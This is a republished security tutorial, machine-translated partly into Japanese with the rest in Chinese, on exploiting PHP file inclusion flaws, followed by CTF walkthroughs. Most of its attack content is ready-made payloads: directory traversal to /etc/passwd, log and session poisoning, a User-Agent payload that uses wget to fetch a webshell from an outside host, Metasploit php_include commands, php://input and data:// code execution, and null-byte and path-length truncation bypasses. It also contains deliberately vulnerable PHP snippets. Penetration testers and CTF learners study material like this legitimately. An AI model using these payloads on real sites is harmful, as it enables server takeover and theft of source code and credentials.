ホームページ > 見出し > 脆弱性を含むPHPファイルの形式の概要

脆弱性を含むPHPファイルの形式の概要

リリース: 2019-10-02 17:51:15
転載
9419 人が閲覧しました

原則

ファイル インクルードの脆弱性の理由は、PHP 関数を通じてファイルが導入されるときに、受信ファイル名が適切に検証されていないためです。操作 予期しないファイルが見つかる可能性があり、予期しないファイルの漏洩や悪意のあるコードの挿入につながる可能性があります。

次の 4 つの関数は、通常、php にファイル インクルードの脆弱性を引き起こします:

1. include() この関数を使用してファイルをインクルードする場合、include() 関数の実行時にコードのみが実行されます。ファイルはインクルードされますが、エラーが発生した場合は警告のみが表示され、実行は続行されます。

2. include_once() の関数は include() と同じです。異なる点は、同じファイルが繰り返し呼び出される場合、プログラムはそれを 1 回だけ呼び出すことです。

3. require() は、プログラムが実行されるとすぐにファイルを呼び出します。エラー メッセージが出力され、スクリプトは require_once で終了します。 () その関数は require() と同じです。違いは、同じファイルが繰り返し呼び出される場合、プログラムはそのファイルを 1 回だけ呼び出すことです。

これらの 4 つの関数を使用して新しいファイルをインクルードすると、ファイルは PHP コードとして実行され、PHP カーネルはインクルードされるファイルの種類を気にしません。したがって、インクルードされたtxtファイル、画像ファイル、またはリモートURLが含まれている場合、それらもPHPコードとして実行されます。この機能は攻撃を行う際に非常に役立ちます。

条件の使用

(1) Include およびその他の関数は、変数の動的実行を通じてインクルードする必要があるファイルを導入します。動的変数を制御できます。

カテゴリ

ファイル インクルードの脆弱性は、RFI (リモート ファイル インクルード) と LFI (ローカル ファイル インクルードの脆弱性) の 2 つのタイプに分類できます。それらを区別する最も簡単な方法は、php.ini でallow_url_include がオンになっているかどうかです。オンにすると、リモート ファイルが含まれる可能性があります。 1. ローカル ファイルには LFI (ローカル ファイル インクルード) が含まれます。

2. リモート ファイルには RFI (リモート ファイル インクルード) が含まれます (php.ini でallow_url_include=on およびallow_url_fopen = On が必要です)

php.ini では、allow_url_fopen はデフォルトで常にオンになっていますが、allow_url_include は php5.2 以降デフォルトでオフになっています。

#1. ローカル インクルード

同じディレクトリ内のファイルをインクルードします

?file=test.txt
ログイン後にコピー

ディレクトリ トラバーサル:

?file=./../../test.txt
ログイン後にコピー

./ 現在のディレクトリ ../ 前のディレクトリ、次のようにディレクトリをトラバースしてファイルを読み取ります

イメージ トロイの木馬が含まれています

#コマンド ラインから実行します:

copy x.jpg /b + s.php /b f.jpg
ログイン後にコピー

f.jpg をアップロードし、f.jpg パスを見つけて、f.jpg を含めます

ログを含めます

# 使用条件: サーバーログの保存パスがわかっており、ログファイルが読み取り可能である必要があります。

多くの場合、Apache などの Web サーバーはリクエストをログ ファイルに書き込みます。ユーザーがリクエストを開始すると、リクエストは access.log に書き込まれ、エラーが発生すると、エラーは error.log に書き込まれます。デフォルトでは、ログ保存パスは /var/log/apache2/ です。

?file=../../../../../../../../../var/log/apache/error.log
ログイン後にコピー
1. 次のリクエストを送信して、ペイロードをログに挿入します。

2. UA を使用して、ペイロードをログに挿入してみることができます。ファイル

脆弱性を含むPHPファイルの形式の概要3. MSF 攻撃モジュール

use exploit/unix/webapp/php_include
set rhost 192.168.159.128
set rport 80
set phpuri /index.php?file=xxLFIxx
set path http://172.18.176.147/
set payload php/meterpreter/bind_tcp
set srvport 8888
exploit -z
ログイン後にコピー

デフォルトのログ パス

脆弱性を含むPHPファイルの形式の概要

Apache Linux ログのデフォルト パス

/etc/httpd/logs/access_log
ログイン後にコピー

or

/var/log/httpd/access log
ログイン後にコピー
apache win2003 ログのデフォルトのパス
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log
ログイン後にコピー

IIS6.0 win2003 のデフォルトのログ ファイル

C:/WINDOWS/system32/Logfiles
ログイン後にコピー

IIS7.0 win2003 のデフォルトのログ ファイル

%SystemDrive%/inetpub/logs/LogFiles
ログイン後にコピー

ユーザーの nginx ログ ファイル インストール ディレクトリの logs ディレクトリの下

インストール ディレクトリが /usr/local/nginx の場合、ログ ディレクトリは

/usr/local/nginx/logs
ログイン後にコピー

にあります。ログは、設定ファイル Nginx.conf から取得することもできます。 パス

/opt/nginx/logs/access.log
ログイン後にコピー

Web ミドルウェアのデフォルト設定

Apache linux デフォルト設定ファイル

/etc/httpd/conf/httpd.conf
ログイン後にコピー

or

index.php?page=/etc/init.d/httpd
ログイン後にコピー
IIS6.0 win2003 構成ファイル
C:/Windows/system32/inetsrv/metabase.xml
ログイン後にコピー

IIS7.0 WIN 構成ファイル

C:/Windows/System32/inetsrv/config/application/Host.config
ログイン後にコピー

セッションを含む

使用条件:セッション ファイルのパスはわかっており、コンテンツの一部は制御可能です。

PHP によってデフォルトで生成されるセッション ファイルは、通常、/tmp ディレクトリに保存されます。

/tmp/sess_SESSIONID
ログイン後にコピー
?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7
ログイン後にコピー
セッション ファイルは、通常、sess_[phpsessid 値] の形式で /tmp ディレクトリに保存されます。場合によっては /var/lib/php5 などにある場合もあります。これを行う前に設定ファイルを読むことをお勧めします。特定のケースでは、セッションの値を制御できれば、シェルを取得できる場合があります。

/proc/self/environ ファイルが含まれます

使用条件:

1. PHP は CGI モードで実行されるため、Environ は UA ヘッダーを維持します。

2. environ ファイルの保存場所はわかっており、environ ファイルは読み取り可能です。

位置:

ユーザー エージェント ヘッダーは proc/self/environ に保存されます。 user-agent に php コードを挿入すると、php コードが environ に書き込まれます。後で含めてください。

?file=../../../../../../../proc/self/environ
ログイン後にコピー

User-Agent を選択し、次のようにコードを記述します:

<?system(&#39;wget http://www.yourweb.com/oneword.txt -O shell.php&#39;);?>
ログイン後にコピー

次に、リクエストを送信します。

一時ファイルが含まれます

脆弱性を含むPHPファイルの形式の概要

php 中上传文件,会创建临时文件。在 linux 下使用 /tmp 目录,而在 windows 下使用 c:\winsdows\temp 目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux 下使用的随机函数有缺陷,而 window 下只有 65535 中不同的文件名,所以这个方法是可行的。另一种方法 phpinfo 来获取临时文件的路径以及名称,然后临时文件在极短时间被删除的时候,需要竞争时间包含临时文件拿到 webshell。

有防御的本地文件包含

审计中可见这样的包含模版文件:

<?php
    $file = $_GET[&#39;file&#39;];
    include &#39;/var/www/html/&#39;.$file.&#39;/test/test.php&#39;;
?>
ログイン後にコピー

这段代码指定了前缀和后缀:这样就很“难”直接去包含前面提到的种种文件。

1、%00 截断

能利用 00 截断的场景现在应该很少了

PHP 内核是由 C 语言实现的,因此使用了 C 语言中的一些字符串处理函数。在连接字符串时,0 字节 (\x00) 将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个 0 字节,就能截断 file 变量之后的字符串。

?file=../../../../../../../../../etc/passwd%00
ログイン後にコピー

需要 magic_quotes_gpc=off,PHP 小于 5.3.4 有效

2、%00 截断目录遍历:

?file=../../../../../../../../../var/www/%00
ログイン後にコピー

需要 magic_quotes_gpc=off,unix 文件系统,比如 FreeBSD,OpenBSD,NetBSD,Solaris

3、路径长度截断:

?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
ログイン後にコピー

php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256

利用操作系统对目录最大长度的限制,可以不需要 0 字节而达到截断的目的。

我们知道目录字符串,在 window 下 256 字节、linux 下 4096 字节时会达到最大值,最大值长度之后的字符将被丢弃。

而利用 "./" 的方式即可构造出超长目录字符串:

4、点号截断:

?file=../../../../../../../../../boot.ini/………[…]…………
ログイン後にコピー

php 版本小于 5.2.8 可以成功,只适用 windows,点号需要长于 256

5、编码绕过

服务器端常常会对于 ../ 等做一些过滤,可以用一些编码来进行绕过。下面这些总结来自《白帽子讲 Web 安全》。

利用 url 编码:

../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/
ログイン後にコピー
..\ -》 %2e%2e%5c -》 ..%5c -》 %2e%2e\
ログイン後にコピー

二次编码:

../ -》 %252e%252e%252f
ログイン後にコピー
..\ -》 %252e%252e%255c
ログイン後にコピー

二、远程文件包含

?file=[http|https|ftp]://www.bbb.com/shell.txt
ログイン後にコピー

可以有三种,http、https、ftp

有防御的远程文件包含

 <?php 
    $basePath = $_GET[&#39;path&#39;];
    require_once $basePath . "/action/m_share.php";  
?>
ログイン後にコピー

攻击者可以构造类似如下的攻击 URL

 path=http://localhost/test/solution.php? 
= 
path=http://localhost/test/solution.php%23
ログイン後にコピー

产生的原理:

/?path=http://localhost/test/solution.php?
ログイン後にコピー

最终目标应用程序代码实际上执行了:

require_once 
"http://localhost/test/solution.php?/action/m_share.php";
ログイン後にコピー

注意,这里很巧妙,问号 "?" 后面的代码被解释成 URL 的 querystring,这也是一种"截断"思想,和 %00 一样

攻击者可以在 http://localhost/test/solution.php 上模拟出相应的路径,从而使之吻合

PHP 中的封装协议(伪协议)

http://cn2.php.net/manual/zh/wrappers.php
ログイン後にコピー
file:///var/www/html 访问本地文件系统
ftp://<login>:<password>@<ftpserveraddress> 访问 FTP(s) URLs
data:// 数据流
http:// — 访问 HTTP(s) URLs
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流
zlib:// — 压缩流
data:// — Data (RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — Audio streams
expect:// — 处理交互式的流
ログイン後にコピー

利用 php 流 input:

利用条件:

1、allow_url_include = On。

2、对 allow_url_fopen 不做要求。

index.php?file=php://input
POST:
<? phpinfo();?>
ログイン後にコピー

脆弱性を含むPHPファイルの形式の概要

结果将在 index.php 所在文件下的文件 shell.php 内增加 "" 一句话

利用 php 流 filter:

?file=php://filter/convert.base64-encode/resource=index.php
ログイン後にコピー

通过指定末尾的文件,可以读取经 base64 加密后的文件源码,之后再 base64 解码一下就行。虽然不能直接获取到 shell 等,但能读取敏感文件危害也是挺大的。

其他姿势:

index.php?file=php://filter/convert.base64-encode/resource=index.php
ログイン後にコピー

效果跟前面一样,少了 read 等关键字。在绕过一些 waf 时也许有用。

利用 data URIs:

利用条件:

1、php 版本大于等于 php5.2

2、allow_url_fopen = On

3、allow_url_include = On

利用 data:// 伪协议进行代码执行的思路原理和 php:// 是类似的,都是利用了 PHP 中的流的概念,将原本的 include 的文件流重定向到了用户可控制的输入流中

?file=data:text/plain,<?php phpinfo();?>
ログイン後にコピー
?file=data:text/plain;base64,base64编码的payload
ログイン後にコピー
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
ログイン後にコピー

加号 + 的 url 编码为 %2b,PD9waHAgcGhwaW5mbygpOz8+ 的 base64 解码为:

需要 allow_url_include=On

利用 XSS 执行任意代码:

?file=http://127.0.0.1/path/xss.php?xss=phpcode
ログイン後にコピー

利用条件:

1、allow_url_fopen = On

2、并且防火墙或者白名单不允许访问外网时,先在同站点找一个 XSS 漏洞,包含这个页面,就可以注入恶意代码了。条件非常极端和特殊

glob:// 伪协议

glob:// 查找匹配的文件路径模式

phar://

利用条件:

1、php 版本大于等于 php5.3.0

姿势:

假设有个文件 phpinfo.txt,其内容为 ,打包成 zip 压缩包,如下:

脆弱性を含むPHPファイルの形式の概要

指定绝对路径

index.php?file=phar://D:/phpStudy/WWW/fileinclude/test.zip/phpinfo.txt
ログイン後にコピー

或者使用相对路径(这里 test.zip 就在当前目录下)

index.php?file=phar://test.zip/phpinfo.txt
ログイン後にコピー

zip://

利用条件:

1、php 版本大于等于 php5.3.0

<?php
$file = $_GET[&#39;file&#39;];
if(isset($file) && strtolower(substr($file, -4)) == ".jpg"){
    include($file);
}
?>
ログイン後にコピー

截取过来的后面 4 格字符,判断是不是 jpg,如果是 jpg 才进行包含

但使用 zip 协议,需要指定绝对路径,同时将 # 编码为 %23,之后填上压缩包内的文件。

然后我们构造 zip://php.zip#php.jpg

index.php
?file=zip://D:\phpStudy\WWW\fileinclude\test.zip%23php.jpg
ログイン後にコピー

注意事项:

1、若是使用相对路径,则会包含失败。

2、协议原型:zip://archive.zip#dir/file.txt

3、注意 url 编码,因为这个 # 会和 url 协议中的 # 冲突

CTF 中的文件包含套路

php 伪协议读取源码

点击 login,发现链接变为:

http://54.222.188.152:1/index.php?action=login.php
ログイン後にコピー

推测文件包含 访问:

http://54.222.188.152:1/index.php?action=php://filter/read=convert.base64-encode/resource=login.php
ログイン後にコピー

得到源码

贪婪包含

iscc2018 的一道题目,打开题目

脆弱性を含むPHPファイルの形式の概要

查看源码

脆弱性を含むPHPファイルの形式の概要

知道这里调用 show.php?img=1.jpg 访问,并修改 1 的值

脆弱性を含むPHPファイルの形式の概要

大概可以猜测 文件包含漏洞,尝试

img=php://filter/read=convert.base64-encode/resource=show.php
ログイン後にコピー

但是不行

题目的坑点在于还需要包含 jpg,这就是贪婪包含所在,也就是后台某处代码所致,

curl  
img=php://filter/resource=jpg/resource=show.php
ログイン後にコピー
<?php
error_reporting(0);
ini_set(&#39;display_errors&#39;,&#39;Off&#39;);
include(&#39;config.php&#39;);
$img = $_GET[&#39;img&#39;];
if(isset($img) && !empty($img))
{
    if(strpos($img,&#39;jpg&#39;) !== false)
    {
        if(strpos($img,&#39;resource=&#39;) !== false && preg_match(&#39;/resource=.*jpg/i&#39;,$img) === 0)
        {
            die(&#39;File not found.&#39;);
        }
        preg_match(&#39;/^php:\/\/filter.*resource=([^|]*)/i&#39;,trim($img),$matches);
        if(isset($matches[1]))
        {
            $img = $matches[1];
        }
        header(&#39;Content-Type: image/jpeg&#39;);
        $data = get_contents($img);
        echo $data;
    }
    else
    {
        die(&#39;File not found.&#39;);
    }
}
else
{
    ?>
    <img  src="1.jpg" alt="脆弱性を含むPHPファイルの形式の概要" >
    <?php
}
?>
ログイン後にコピー

1、开头包含了 config.php

2、img 必须有 jpg 但又不能有 resource=.*jpg

3、正则检查了并把结果填充到 $matches 里去,说明我们可以使用 php://filter 伪协议,并且 resource 的值不含|,那么我们就可以用| 来分隔 php 和 jpg,因为正则匹配到| 就不会继续匹配后面的 jpg 了,使得 \$img=show.php

知道了 config.php 再去访问明白为什么必须包含 jpg

<?php
function get_contents($img)
{
        if(strpos($img,&#39;jpg&#39;) !== false)
        {
                return file_get_contents($img);
        }
        else
        {
                header(&#39;Content-Type: text/html&#39;);
                return file_get_contents($img);
        }
}
?>
ログイン後にコピー

最终 payload:

 
img=php://filter/resource=../flag.php|jpg
ログイン後にコピー

%00 截断

要求:

1、php 版本小于 5.3.4

2、magic_quotes_gpc 为 off 状态

大多数的文件包含漏洞都是需要截断的,因为正常程序里面包含的文件代码一般是 include(BASEPATH.$mod.’.php’) 或者 include($mod.’.php’) 这样的方式,如果我们不能写入 .php 为扩展名的文件,那我们是需要截断来利用的受限与 gpc 和 addslashes 等函数的过滤,另外,php5.3 之后的版本全面修复了 %00 截断的问题

<?php
include($_GET[&#39;a&#39;].&#39;.php&#39;)
?>
ログイン後にコピー

上传我们的 2.txt 文件,请求

http://localhost/test/1.php?a=2.txt%00
ログイン後にコピー

即可执行 2.txt 中 phpinfo 的代码

列子二

漏洞文件 index.php

 
<?php
if (empty($_GET["file"])){
    echo(&#39;../flag.php&#39;);
    return;
}
else{
    $filename=&#39;pages/&#39;.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").&#39;.html&#39;;
    include $filename;
}
?>
ログイン後にコピー

flag 文件放在上层目录

这里限制了后缀名,我们需要通过截断才能访问到 flag 文件 利用代码:

index.php?file=../../flag.php%00
ログイン後にコピー

%00 会被解析为 0x00,所以导致截断的发生 我们通过截断成功的绕过了后缀限制

路径长度截断

我们现在已经知道使用 %00 截断有两个条件 php 版本小于 5.3.4 和 magic_quotes_gpc 为 off 状态。 如果这时我们将 magic_quotes_gpc 改为 on 那么就不能截断了,因为开启 magic_quotes_gpc 后 %00 会被加上一个反斜杠转义掉

脆弱性を含むPHPファイルの形式の概要

那么我们这时候有没有办法绕过这个限制呢?有一个条件那就是 php 版本小于 5.3.10 我们的代码依旧不变 漏洞文件 index.php

<?php
if (empty($_GET["file"])){
    echo(&#39;../flag.php&#39;);
    return;
}
else{
    $filename=&#39;pages/&#39;.(isset($_GET["file"])?$_GET["file"]:"welcome.txt").&#39;.html&#39;;
    include $filename;
}
?>
ログイン後にコピー

flag 文件放在上层目录 这时我们可以使用字符 ./. 和 ./ 来进行绕过,因为文件路径有长度限制

windows 259 个 bytes
ログイン後にコピー
linux 4096 个 bytes
ログイン後にコピー

在 windows 下需要.字符最少的利用 POC1:

file=../../flag.php...................................................................
......................................................................................
.....................................................................................
ログイン後にコピー

脆弱性を含むPHPファイルの形式の概要

在 windows 下需要.字符最少的利用 POC2:

file=../../flag.php./././././././././././././././././././././././././././././././././././././
././././././././././././././././././././././././././././././././././././././././././././././.
/./././././././././././././././././././././././././././././././././././
ログイン後にコピー

脆弱性を含むPHPファイルの形式の概要

将 flag.php 改为 flag1.php 在 windows 下需要.字符最少的利用 POC3:

file=../../flag1.php/./././././././././././././././././././././././././././././././././././
./././././././././././././././././././././././././././././././././././././././././././././.
/././././././././././././././././././././././././././././././././././././
ログイン後にコピー

脆弱性を含むPHPファイルの形式の概要

我们发现在使用 payload3 时将文件名改为了 flag1.php,而 payload2 和 payload3 则是一个.开始,一个 / 开始。 

这和文件长度的奇偶性有关,当为偶数的时候我们选择 payload2,为奇数的时候我们选择 payload3

関連ラベル:
php
ソース:微信公众号 合天智汇
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート